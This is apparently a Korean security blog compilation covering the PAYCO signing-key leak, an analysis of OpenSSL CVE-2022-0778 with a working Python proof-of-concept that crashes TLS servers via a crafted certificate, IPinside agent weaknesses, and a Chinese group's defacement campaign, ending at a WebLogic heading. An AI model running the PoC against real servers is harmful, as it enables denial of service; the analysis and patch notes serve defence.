요약 - 2022.12.05 페이코(PAYCO)에서 서명키가 유출 및 2022.12.06 저녁 신규 서명키가 적용된 페이코 앱의 업데이트를 완료
※ NHN에서 결제수단을 사전에 등록해두고 등록한 결제수단을 통해 신속하게 결제하는 간편결제 서비스
 서명키: 안드로이드 앱을 제공하는 구글 플레이(Google Play)에서 사용자 기기로 전달되는 APK 서명에 사용하는 키
내용 - NHN페이코는 2022.12.05일 홈페이지에 공지 게시
> ‘구글 서명키 관련 보도에 대해 안내 드립니다’
> 구글 플랫폼에서 운영되는 페이코 서명키가 외부로 유출
> 스토어를 통해 정상적으로 페이코 앱을 다운받은 회원의 개인정보 및 결제정보 유출은 전혀 없음
> 현재까지 해당 사안과 관련된 피해 사례도 확인된 바 없음
> 사안 인지 후 서명키 변경 작업 및 신규 서명키를 적용한 최신 버전 업데이트를 제공할 예정_2022.12.06 완료

- 보안 솔루션 기업 에버스핀이 주요 고객사에 페이코 서명키 유출로 인한 악성 애플리케이션 제작 및 유포 주의를 당부하면서 알려짐
> 해당 서명키 유출은 지난 8월 1일부터 11월 30일까지 무려 4개월 동안 이어짐
> 이 기간에 유출된 서명키를 통해 생성된 악성코드는 5,144건 탐지 및 유출 경로는 확인되지 않음
> 해당 서명키로 제작된 악성 앱의 숫자는 100여개로 추정

- 구글 서명키는 앱 개발사들이 플레이스토어에 앱을 등록하고 배포할 때 특정 개발사 앱임을 증명하는 도구
> 앱 이용자의 개인정보와는 관련이 없음
> 서명키 유출에 따른 악성앱 관련 피해는 문자나 메신저 등 비정상적 경로를 통해 설치된 경우 발생할 수 있는 문제
> 정상적인 경로로 내려받아 설치한 앱은 이번 서명키 유출과 관계없이 안전

- NHN페이코는 8월 구글 서명키 유출을 인지한 직후부터 유출된 서명키로 생성되는 앱의 악성행위 여부를 탐지할 수 있게 조치하고 있었음
> 고객의 불안감을 해소하기 위해 서비스 공지사항과 앱 내 배너 등을 통해 기존 앱을 삭제하고 재설치 적극 권장
> 스토어에 등록된 정식 앱 외에 기존 서명키로 제작된 모든 앱을 악성 앱으로 탐지 및 차단하는 방안 추가 검토
결과 - 금융보안원이 일부 보안기업과 서명키 유출에 대한 패턴을 공유
> 이는 서명키 유출에 대한 블랙리스트 패턴을 긴급하게 등록해 확산을 방지하기 위한 적절한 긴급조치

- 금융보안원은 이번 페이코 서명키 도난사건의 경우 8월경 정보를 확인
> 해당 정보를 보안기업들에게 공유해 공격에 대비

- NHN페이코
> 8월에 서명키 탈취 사실을 인지하고 계속 교체 작업을 진행
> NHN이 서비스하는 전체 서명키를 교체

- 정식 서명키를 획득하거나 탈취하려는 해커들의 움직임은 2023년에 보다 거세질 것
> 2022.12에 알려진 NHN페이코의 서명키 유출사건과 마이크로소프트의 디지털 서명 도난사건
> 마이크로소프트의 디지털 서명 도난사건
  NHN페이코 사건과는 비교되지 않을 정도로 미칠 파장이 크고, 이에 따른 보안 위협은 현재진행형
  악성 드라이버 인증 > 인증을 받아 보안 솔루션들 우회 및 악성 드라이버들이 랜섬웨어 등 사이버 공격 정황 포착

> 소프트웨어에 디지털 서명을 하거나 정식 서명키를 보유 = 신뢰가능한 제품을 인증
> 운영체제(OS)가 이 서명을 보고 해당 소프트웨어의 실행을 허용할지 말지를 결정
> 때문에, 불법 소프트웨어라고 하더라도 정상 서명키만 보유하고 있으면 보안 검사 통과

> 정상 서명키를 악용한 사이버 공격이 증가할 것이라는 전망은 다크웹 시장에서도 미리 예측 가능
> 올해(2022) 중반부터 각종 소프트웨어의 정상 서명키들이 다크웹에서 활발하게 거래되는 정황을 파악

∴ 해커들이 보안 감시망을 유유히 뚫을 수 있는 최고의 수단으로 정식 서명키가 가장 효과적이라는 사실을 인식
> 기업 입장에서는 ‘제로트러스트(Zero Trust)’에 대한 관심과 인증 보안 강화 이슈가 더욱 커질 것
※ 제로트러스트(Zero Trust)
    2010년 포레스터 리서치 보안위협팀의 존 킨더백 수석 애널리스트가 제안한 모델
    '신뢰하지 말고 항상 검증할 것'이라는 원칙을 바탕
    사용자, 단말기가 네트워크나 데이터에 접근을 요청할 때 처음부터 아무것도 신뢰하지 않는 보안 전략
    보안 시스템을 통과해서 IT 시스템에 접속한 사용자나 단말기라도 신뢰하지 않는다는 것이 기본 전제
    모든 유효성을 다 입증한 다음에 최소한의 권한만을 부여해 접근을 허용
> 2단계 인증을 기본으로 사용자 인증과 검증을 강화하는 인증 보안체계 확립이 보안 강화를 위한 숙제

 

보안뉴스

 

NHN 간편결제 앱 페이코 서명키 유출... “개인정보 유출은 없어”

NHN에서 결제수단을 사전에 등록해두고 온라인 쇼핑 때마다 등록한 결제수단을 통해 신속하게 결제하는 간편결제 서비스인 페이코(PAYCO)에서 서명키가 유출됐다.

www.boannews.com

 

NHN페이코, “6일자로 신규 서명키 적용 페이코 앱 업데이트 완료”

간편결제 서비스를 제공하고 있는 NHN페이코는 7일 신규 서명키가 적용된 페이코 애플리케이션의 업데이트가 완료됐다고 밝혔다. 앞서 지난 5일부터 페이코 앱의 구글 서명키가 유출돼 이를 활

www.boannews.com

 

NHN페이코의 서명키 유출 둘러싼 오해와 진실... ‘공포마케팅’ 논란 커져

NHN페이코 서명키 유출사건과 관련한 E사의 연이은 보도자료 발표와 관련해 <보안뉴스>에서 보안전문 기업 및 보안전문가들을 대상으로 취재해본 결과, E사의 주장과는 다른 부분이 많았다. 심지

www.boannews.com

 

[2023 보안 핫키워드-10] NHN페이코와 MS의 서명키 탈취 사건, 2023년의 서막일 뿐?

해커들이 촘촘한 보안 감시망을 유유히 뚫을 수 있는 최고의 수단으로 정식 서명키가 가장 효과적이라는 사실을 절실히 인식하게 된 셈이다. 이 때문에 정식 서명키를 획득하거나 탈취하려는

www.boannews.com

1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

1.1 SSL 통신 과정

[사진 1] SSL 통신 과정

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-0778

- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점

① 영향받는 버전
- OpenSSL 1.0.2 및 이전 버전
- OpenSSL 1.1.1 및 이전 버전
- OpenSSL 3.0 및 이전 버전

② 영향받는 상황
- 서버 인증서를 사용하는 TLS 클라이언트
- 클라이언트 인증서를 사용하는 TLS 서버
- 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체
- 인증 기관이 가입자의 인증 요청을 구문 분석
- ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것
- 매개변수 값을 제어하는 ​​BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램

 

2.1 분석

- a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함

- BN_mod_sqrt()는 모듈러의 제곱근을 계산

※ 함수 위치 : bn_sqrt.c

※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수

 

- 해당 함수는 아래 형식의 인증서를 해석할 때 사용

① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우

② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서

 

- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생

- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로 내부에 무한 루프가 발생할 수 있음

while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }

- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분

① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함

② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생

 

[사진 3] Exploit 패킷 및 결과

2.2 PoC

- PoC의 동작 순서는 다음과 같음

① ClientHello 메시지를 전송

② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인

③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩

※ DER(Distinguished Encoding Rules)

바이너리 형태로 인코딩한 포맷으로 확장자는 .der

der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용

④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생

from socket import socket, AF_INET, SOCK_STREAM

from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse


class CraftedTLSConnection(TLSConnection):

    def _clientKeyExchange(self, settings, cipherSuite,
                           clientCertChain, privateKey,
                           certificateType,
                           tackExt, clientRandom, serverRandom,
                           keyExchange):
        if cipherSuite in CipherSuite.certAllSuites:
            # Consume server certificate message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.certificate,
                                       certificateType):
                if result in (0, 1):
                    yield result
                else:
                    break

        if cipherSuite not in CipherSuite.certSuites:
            # possibly consume SKE message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.server_key_exchange,
                                       cipherSuite):
                if result in (0, 1):
                    yield result
                else:
                    break

        # Consume Certificate request if any, if not bail
        for result in self._getMsg(ContentType.handshake,
                                   (HandshakeType.certificate_request,
                                    HandshakeType.server_hello_done)):
            if isinstance(result, CertificateRequest):
                craftedCertificate = CraftedCertificate(certificateType)

                craftedCertificate.create(open('crafted.crt', "rb").read())
                for r in self._sendMsg(craftedCertificate):
                    yield r
                print("Crafted Certificate msg sent, check server.")
                exit(0)

            else:
                print("Server does not support TLS client authentication, nothing to do.")
                exit(1)


class CraftedCertificate(HandshakeMsg):
    def __init__(self, certificateType):
        HandshakeMsg.__init__(self, HandshakeType.certificate)
        self.certificateType = certificateType
        self.certChain = None
        self.der = bytearray(0)

    def create(self, certBytes):
        self.der = certBytes

    def write(self):
        w = Writer()
        if self.certificateType == CertificateType.x509:
            chainLength = len(self.der) + 3
            w.add(chainLength, 3)
            w.addVarSeq(self.der, 1, 3)
        else:
            raise AssertionError()
        return self.postWrite(w)


def run(server, port):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect((server, port))
    connection = CraftedTLSConnection(sock)
    connection.handshakeClientCert()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Parameters')
    parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
    parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
    args = parser.parse_args()
    run(args.server, args.port)

3. 대응방안

① 최신 업데이트 적용

- i == e 를 종료 조건으로 가지는 for문으로 변경

패치코드

/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;

    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

/* If not found, a is not a square or p is not prime. */
if (i >= e) {
    ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
    goto end;
}
영향 받는 버전 패치 버전
OpenSSL 1.0.2  OpenSSL 1.0.2zd
OpenSSL 1.1.1 OpenSSL 1.1.1n
OpenSSL 3.0  OpenSSL 3.0.2

※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-0778

https://github.com/drago-96/CVE-2022-0778

https://blog.alyac.co.kr/4563

https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36498

https://blog.rovermoot.co.kr/237

https://blog.leestory.com/558

- https://update.secui.com/vuln_detail_desc.asp?id=210211&page=8

- https://www.dailysecu.com/news/articleView.html?idxno=135121

https://hackyboiz.github.io/2022/03/19/syru/cve-2022-0778/

- https://github.com/openssl/openssl/blob/1832bb0f02e519a48f06a10467c7ce5f7f3feeeb/crypto/bn/bn_sqrt.c#L310-L318

- https://mazinga83.blogspot.com/2015/09/ssl.html

- https://github.com/jkakavas/CVE-2022-0778-POC

- https://github.com/openssl/openssl/commit/9eafb53614bf65797db25f467946e735e1b43dc9

1. IPinside

- (주)인터리젠에서 제작한 단말기 정보 수집 및 실시간 개인정보 유출탐지 및 차단 솔루션

- 접속자 단말기 정보 수집, 해외 IP 분석 및 차단, 부정 접속 등을 방지하기 위한 프로그램

 

1.1 IPinside 동작 방식

① IPinside LWS Agent 애플리케이션도 로컬 서버를 통해서 웹사이트와 통신

② 은행 웹사이트가 접속자에 대한 정보를 더 얻기 위해 localhost:21300로 JSONP 요청을 보냄

JSONP (JSON with Padding)
- 자바 스크립트는 서로 다른 도메인에 대한 요청을 보안상 제한 = 동일근원정책(Same-Origin Policy, SOP)
- 이러한 정책으로 인해 생기는 이슈를 cross-domain 문제
- JSONP은 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용

③ 해당 요청 실패 시 은행 웹사이트는 접속을 거부 및 IPinside LWS Agent를 먼저 설치할 것을 요구

④ 애플리케이션이 실행되고 있다면 웹사이트는 wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있음

 

2. 취약점

- wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있으나 필요 정보보다 많은 데이터가 전송

[사진 1] localhost:21300로 JSONP 요청 결과

2.1 wdata

- 실행중인 프로세스에 대한 정보를 저장

- 난독화시 단지 무작위 바이트 하나만 사용

[사진 2] wdata 예시

- [사진 3]을 통해 wdata에는 다음과 같은 데이터 등이 저장됨

① IP 정보

c0 a8 7a 01 (실 IP 주소 192.168.122.1)

c0 a8 7a 8c (192.168.122.140, 첫 네트워크 카드의 IP 주소)

c0 a8 7a 0a (192.168.122.10, 두번째 네트워크 카드의 IP 주소)

② 운영체제 정보

65 (문자 e)는 GetProductInfo() 함수를 호출한 결과

※ GetProductInfo(): 로컬 컴퓨터의 운영 체제에 대한 제품 유형을 검색 및 반환

③ 하드드라이브 정보

하나는 시리얼 번호가 QM00001이고 다른 하나는 abcdef 

④ 실행중인 프로세스 정보

firefox.exe

⑤ 실행 플랫폼

가상 머신

⑥ 원격제어 프로그램 동작 정보

 

2.2 ndata

- 접속자의 IP 주소를 저장

- 난독화는 랜덤성도 없으며 데이터는 항상 동일

- 웹 사이트가 IPinside LWS Agent에 통신(응답)하는 과정에서 RESPONSE_IP의 값이 HDATAIP에 저장되며, 이는 접속자 IP주소

[사진 3] ndata 예시

2.3 udata 

- “u” 는 “unique”의 약자이며, 몇 가지 다른 아웃풋 타입이 있음

- 15개의 서로 다른 CPUID 명령호출의 결과를 합쳐서 만든 것

※ CPUID 명령어: 소프트웨어가 프로세서의 세부 정보를 검색할 수 있도록 하는 프로세서 보조 명령어

- 난독화는 랜덤성도 없으며 데이터는 항상 동일

- [사진 4]를 확인해보면 네트워크 카드, 하드 드라이브의 목록과 네트워크 카드의 MAC 주소도 목록에 포함

[사진 4] udata 예시

2.4 wdata, ndata, udata 보호

- 사용자를 비익명화하기 위한 여러 데이터가 사용

- 사용자의 H/W, S/W에 대한 데이터를 통해 시스템의 취약점 확인 > 잠재적으로 다른 공격으로 발전 할 가능성

- localhost:21300에서 동작하는 서버는 누가 응답하는지 상관하지 않음 > 어떤 웹사이트든 데이터 요청 가능

① wdata
- 3단계의 보호 장치가 적용_난독화, 압축, 암호화(공개키 암호화)
- 암호화에 사용된 RSA 암호화는 해당 테스트에서 2시간 36분 만에 비공개키를 계산

② ndata, udata
- 유일한 보호장치는 암호화(AES-256 기반의 대칭 암호화)
- 암호화 키는 애플리케이션 내에 하드코딩
- 실행 시마다 동일한 ciphertext를 생성_ CBC 블록 연쇄 모드를 사용하며, 초기회 백터 IV를 전달하지못해 항상 0으로 채움

 

> 재전송 공격을 통해 미리 저장한 유효한 응답을 웹 사이트에 보낼 수 있음

challenge-handshake scheme, 타임 스탬프(timestamp) 등 대응 방안이 확인되지 않음

 

∴ 데이터를 제대로 보호하고 있지 않으며, 어떤 임의의 웹사이트에서도 수집한 데이터에 접근할 수 있음

 

2.5 어플리케이션의 전반적인 보안성

- OpenSSL 라이브러리를 사용 > OpenSSL 1.0.1j 버전

※ 2015년 릴리즈, 2017년 OpenSSL 1.0.1에 대한 지원이 중단

 

- 단일 쓰레드로 동작 > 서비스 거부 공격에 취약

 

[사진 5] 코드 中 일부

- ssl_read 가 정확히 8192 바이트를 리턴해서 버퍼를 꽉 채울 수도 있음 > 이럴 경우 inputBuffer는 널문자로 종료되지 않음

- 이것을 복사한 request 도 마찬가지로 널문자로 종료되지 않음 > sprintf() 나 handle_request()에서 request를 널문자로 종료되는 문자열로 취급할 경우 버퍼를 초과해서 읽을 것

- 그렇게 되면 sprintf() 는 16384 바이트 이상의 데이터를 읽을 것 > 타깃 버퍼에 다 담기는 너무 큰 데이터

=> 스택오버플로우나 버퍼의 범위를 벗어난 읽기 등 발생가능

> 이 취약점 중 일부는 확실히 애플리케이션을 죽일 수도 있음 > 2개의 개념증명 웹페이지를 만들어서 여러 차례 확인

> 원격 코드 실행 취약점은 확인되지 않음 > StackGuard와 SafeSEH 기능이 효율적으로 동작하기 때문

 

3. 조치

- 블라디미르 팔란트

> 2022년 10월 21일 3건의 취약점 보고서를 KrCERT에 보고

> 11월 14일 KrCERT는 보고서를 인터리젠에 전달

- 인터리젠 관계자

> 보고서 중 하나만 2023년 1월 6일 전달 받음 주장

> 문제점에 대한 수정 버전은 2월에 배포할 예정 > 새로운 버전을 사용자에게 배포하는 것은 고객(은행 등)의 문제

 

- IPinside는 자동 업데이트 기능이 없음

> 사용자가 수동으로 업데이트를 다운로드하여 설치

> Wizvera Veraport와 같은 관리 애플리케이션을 통해 업데이트

> 은행에서 사용자에게 업데이트를 강제하지 않는 이상 둘 다 가능성이 작아 보임

 

4. 참고

https://palant.info/2023/01/25/ipinside-koreas-mandatory-spyware/

https://github.com/alanleedev/KoreaSecurityApps/blob/main/02_ipinside_lws_agent.md

개요 - 중국 해커조직이 한국 정부부처 및 공공기관을 타깃으로 대규모 네트워크 해킹 작전을 선포
※ 중국 해커조직: 晓骑营_Xiaoqiying_샤오치잉
> 우리나라에 악명이 높았던 해커조직 ‘腾蛇_Teng Snake_ 텅 스네이크’의 후신
> 지난해 5월 초 우리나라 보건복지부와 국방부를 해킹한 이후 트위터를 통해 공개적으로 밝힘
> 샤오치잉, 텅 스네이크, GDP, Code Core, White Dawn 등 조직명을 다양하게 바꿔가며 활동
> 4명(아이디 TuBo, RABBIT, chicken, 1337 등)의 해커가 함께 실행한 것으로 추정
> TuBo: post 침투, web 침투, 초기 도구 개발
> RABBIT: 사후 침투와 코드 감사
> chicken: 코드 감사
> 1337: 포스트 침투, 네트워크 침투, 1차 도구 개발

- 중국 해커조직은 해킹 조직원들을 추가 모집 및 한국의 기관, 학회, 협회를 타깃으로 해킹 공격을 진행
> 우리나라의 대통령실, 국가정보원, 국방부, 행정안전부 등이 포함된 약 2,000개의 도메인을 공유해 해킹을 독려

- 공격 대상 중 정보보호 전문기관인 한국인터넷진흥원(KISA)을 특정
내용 - 정부나 공공기관의 경우 큰 피해는 없었으며 상대적으로 보안이 취약한 학회 및 연구소 등 총 12곳이 디페이스 공격 피해
※ 디페이스 공격 (Deface)
> 메인 페이지가 해커의 임의대로 바뀌고(시각적으로 해킹을 어필하기 좋은 방식), 사용자는 사이트를 이용할 수 없게 됨
> 해킹 실력을 자랑하거나, 특정 단체의 메시지를 알리기 위한 과시적 공격 수법으로 사용
> 공격에 성공했다는 건 해커가 웹사이트 관리자 권한을 손에 넣었단 뜻
> 홈페이지의 보안이 취약하다는 반증 및 이미지 실추, 신뢰 하락, 매출 감소

- 해킹 당한 곳 모두 메인 페이지 화면이 바뀌었고, 일부 기관은 데이터가 유출되는 피해
> 공격을 받은 초기에는 홈페이지 화면이 변조돼 중국 해커조직 ‘샤오치잉’이 올린 화면이 게시

- 샤오치잉의 주장
> 1월 21일에 우리나라 교육, 과학, 바이오, 의학 분야 연구원 및 협회 등을 해킹해 데이터를 탈취
> 23일에는 한국 정부부처 데이터 54.2GB 분량을 유출
  파일은 91개(91 个文件)와 41개(41 个文件来) 등
> 24일에도 한국의 각종 학회 40여 곳을 해킹했다며 탈취한 데이터를 공개

- 깃허브(Github)에 우리나라 공공기관·기업 등에 근무하는 161명의 개인정보를 공개
> 공공기관 2명, 교육기관 2명, 민간기업 157명
> 소속과 이름, 아이디와 비밀번호, 휴대전화번호, 직장 전화번호, 직장과 자택주소 등
> 과거에 탈취돼 공개됐던 정보인 것으로 확인
   지난 2022년 12월 26일 공개한 자료와 동일한 자료 및 다크웹 포럼 등을 통해 해킹한 자료들을 공개

- 21일 해킹된 국내 학술기관 홈페이지 12곳 모두 아직 복구되지 않은 상태
> 피해를 본 기관 12곳 모두가 같은 웹호스팅 업체 서비스를 이용
> 웹호스팅 업체는 보통 한 업체가 하나의 서버에 여러 개의 홈페이지 서비스를 호스팅
> 그러므로, 해당 업체 보안 시스템에 고객사가 맞출 수밖에 없음
> 국내 업체는 외국계 웹 호스팅 업체 대비 상대적으로 영세한 소규모란 점도 한계로 지적

- 2023/02/01 12곳 모두 정상 접속이 가능
> 대한건설정책연구원, 한국학부모학회, 우리말학회
  홈페이지 공지를 통해 해킹 피해 공지 및 홈페이지 접속 차질, 개인정보 침해에 대해 사과
  전체 피해 규모와 개인정보 유출 피해에 대한 추가 조치 부분은 언급하지 않음
> 나머지 9개 기관의 경우 홈페이지 접속 장애나 데이터 및 개인정보 유출에 대해 아직까지 별다른 공지 없음

- 2023/02/16 새벽 텔레그램에 879건의 개인정보가 들어 있는 데이터베이스를 유출
> 한국스포츠정책과학원 회원의 정보인 것으로 추정
> 올린 파일명에는 'ijass'가 포함됐는데, 이는 한국스포츠정책과학원이 발행하는 체육분야 영문 학술지
> DB에는 개별마다 상이하지만 이름, 소속, 직책, 주거지, 메일 주소, 핸드폰 번호 등 총 879명의 개인 정보가 포함
> 해킹 사실에 대해 국가정보원은 해당 해킹 사실을 인지 및 조사중이며, 구체적인 내용은 알려줄 수 없음이라 밝힘

- 2023/02/18 18:33 한국인정지원센터를 해킹 사실 공개
> 16:16 경 탈취한 개인정보를 엑셀파일로 공개
> 이름, 이메일, 비밀번호 등 민감정보가 포함된 약 4만개의 데이터를 확보했다고 공개
> 공무원 정보(이메일+비밀번호+전화번호+이름) 91명, 연구기관 및 유관기관 임직원 정보 476명, 교육기관 관련 임직원 정보 253명, 기타 CO.KR 관련 정보 3,439명 등
> 휴대전화 번호가 011, 016, 019 등 지금은 사용하지 않는 번호로 시작됐기 때문에 꽤나 오래된 정보로 추정

- 2023/02/19 03:25 공격 중지 선언
> ‘한국에 대한 행동을 중지한다(Korean action ends here without any follow-up)’
> 샤오치잉의 공식 홈페이지 또한 접속되지 않음
조치 - 이번 사건은 국가정보원과 개인정보보호위원회에 보고

- 개인정보보호위원회에서 추가 조치를 취함

- KISA
> 민간기업의 유출 피해자 157명의 개인정보는 해당 기관 및 기업에 전달해 진위 여부 확인
> 각 피해 홈페이지 관리자 계정 등을 탈취한 것인지 웹호스팅 업체 서버나 관리자 계정이 해킹된 것인지 조사 중
> 추가 보안조치를 요청
   ① 로그인 보안 및 사용자 예방 강화 등을 긴급 권고
     로그인 기능이 있는 웹사이트에 대한 주기적인 부정 접속이력을 확인해 비정상 IP 차단 및 유관기관 공유
     IP당 로그인 시도 횟수 임계치 설정, 캡처 등을 활용한 자동 로그인 시도 차단 등 부정 로그인 차단 강화
     비밀번호 변경 및 이중 인증 기능 사용 등 사용자 계정 보안 강화 조치 등

   ② 사용자 예방 강화 방안
     자사 가입자 대상 계정보안 관리 강화
     사용자 중요 정보 변경(통신요금 등) 시 SMS 알림 등 피해 알람 기능 강화
     관련 서비스 유지보수·위탁업체의 보안강화 요청 등

   ③ 계정보안 관리 강화를 위한 세부 지침
     여러 사이트의 계정정보를 중복되지 않도록 설정
     복잡한 비밀번호 설정 및 3개월 단위로 비밀번호를 주기적으로 변경할 것을 당부
     ID 및 비밀번호 이외에 OTP, SMS 등을 통한 이중 인증 기능을 설정
     계정정보가 노출된 경우 반드시 동일한 계정정보를 사용하는 모든 사이트의 비밀번호를 신속하게 변경할 것

> 업무에 복귀한 기업 보안담당자들의 경우 회사 시스템의 보안 점검과 모니터링에 만전을 기해줄 것을 당부

- 웹 호스팅 업체
> 피해 기관들이 사용 중인 웹호스팅 업체도 근본 원인 파악과 보안 강화를 목적으로 전반적인 점검

- 보안업계
> 보안 시스템 투자가 여의치않은 소규모 기업·기관에 대한 지원 강화 필요
> 공격 타깃이 된 국내 학술기관은 수백개에 달하지만, 홈페이지를 만들어 운영할 만한 능력은 부족
> 웹호스팅을 자체 구축하면 서버와 스토리지 도입과 운영이 필요하고 상시 근무할 수 있는 보안 인력 또한 부족
> 보안 솔루션 운영, 취약점 점검, 주기적 모니터링 등의 체계가 없다 보니 손쉽게 해킹을 당할 수 있는 구조

- 대한건설정책연구원
> 사이버테러수사대에 수사를 요청하고 개인 침해부분에 대해서도 신고를 완료
> 더 이상 해킹시도는 발견되지 않음

- 우리말학회, 한국학부모학회
> 25일 오전 외부 접속에 의한 해킹 정황이 발견 > 즉시 서버를 닫아 불법 접속 차단 및 데이터를 안전하게 보관
> KISA, KERIS 등과 피해범위를 확인하고 수사를 진행 중

 

보안뉴스

 

[긴급] 중국 해커조직, 한국 정부·공공기관 타깃 대규모 해킹 작전 선포

중국 해커조직이 한국 정부부처 및 공공기관을 타깃으로 한 대규모 네트워크 해킹 작전을 선포한 것으로 드러나 설날 연휴에 접어든 정부 및 공공기관의 보안관리에 비상이 걸렸다.

www.boannews.com

 

중국발 해킹으로 불거진 ‘디페이스 공격’, 홈페이지가 제멋대로 바뀐다

이번 설 연휴, 중국의 해킹 조직이 ‘한국 정부를 해킹하겠다’고 선포했다. 정보보호 전문기관인 한국인터넷진흥원(KISA)을 특정하기도 했다. 결과적으로 정부나 공공기관의 경우 큰 피해는 없

www.boannews.com

 

중국 해커조직의 한국 해킹 엄포, 보안 취약한 학회·연구소 12곳이 당했다

지난주 설 연휴를 앞두고 중국 해커조직이 대한민국 정부와 공공기관을 해킹하겠다고 엄포를 놓은 이후, 한국인터넷진흥원(KISA)을 비롯한 공공기관에서는 비상체제에 들어갔다. 그 결과 정부나

www.boannews.com

 

한국 정부 해킹 선포! 중국 해커조직의 실체는 ‘Teng Snake’... KISA도 공격 타깃 지목

설 명절 연휴가 시작된 21일 한국 정부부처 및 공공기관을 타깃으로 한 대규모 네트워크 해킹 작전을 선포한 중국 해커조직의 정체가 그간 우리나라에 악명이 높았던 해커조직 ‘Teng Snake’의 후

www.boannews.com

 

중국 해커조직, 공공기관·기업 근무자 161명 개인정보까지 유출했다

설 연휴 시작과 함께 우리나라 정부부처 및 공공기관을 타깃으로 한 사이버 공격 시도로 큰 혼란을 야기했던 중국 해커조직 ‘샤오치잉’이 오픈소스 커뮤니티 깃허브(Github)에 우리나라 공공기

www.boannews.com

 

중국 해커조직에서 유출 주장한 개인정보 161건, 과거 정보로 확인

이번 연휴 기간 우리나라 정부부처와 공공기관, 학회·협회 등을 해킹했던 중국 해커조직 샤오치잉(晓骑营, Dawn Cavalry)이 깃허브에 공개했던 161명의 개인정보가 새롭게 해킹된 자료가 아닌 과거

www.boannews.com

 

[긴급] 중국 해커조직, 한국 정부부처 데이터 54.2GB 탈취 주장... KISA, 보안 강화 권고

중국 해커조직이 한국 정부·공공기관을 타깃으로 대규모 해킹 작전을 선포했다는 본지의 최초 보도로 파장이 커지고 있는 가운데 이들은 우리나라 정부부처에 침투해 54.2GB에 이르는 데이터를

www.boannews.com

 

中 해킹에 맥없이 뚫린 12곳 '공통점' 있었다…"홈피 복구 안 될 수도"

중국계 해커조직에게 사이버 공격을 입은 국내 기관 웹사이트가 열흘째 복구되지 않고 있다. 피해 기관 모두 동일한 웹호스팅 업체를 이용한 것으로 알려졌다. KISA "해킹 기관 복구 조치 중…12

n.news.naver.com

 

중국 해커조직 국내 해킹 선포 이후... 해킹 피해 연구원·학회 3곳 공지문 게재

설 연휴가 끝나고 일주일이 지난 현재 다시 한 번 해킹 피해를 입은 연구원·학회 12곳에 접속해 보니 모두 정상 접속이 가능했다. 이 가운데 대한건설정책연구원, 한국학부모학회, 우리말학회는

www.boannews.com

 

[단독] 中 해커, 국민체육진흥공단 산하 연구기관도 해킹…879건 개인정보 유출

지난달 국내 학술기관 홈페이지를 해킹한 중국 해킹 그룹 '샤오치잉(晓骑营)'이 국내 서버 5곳을 해킹한 데 이어 국민체육진흥공단 산하 연구기관도 해킹했다. 17일 정보보안 업계에

n.news.naver.com

 

중국 해킹조직 샤오치잉, 갑자기 한국 공격 중지 선언

지난 설날 전후로 한국 공격을 선언하고 공공분야와 학회 등의 홈페이지를 공격했던 중국 해킹조직 샤오치잉이 19일 새벽 한국에 대한 공격이 끝났다고 밝혔다. 다만 이들은 하루 전날인 18일까

www.boannews.com

 

1. WebLogic

- Oracle사에서 개발한 Web Application Server로 JAVAEE 아키텍처를 기반으로 하는 미들 웨어

 

Weblogic Server | Oracle

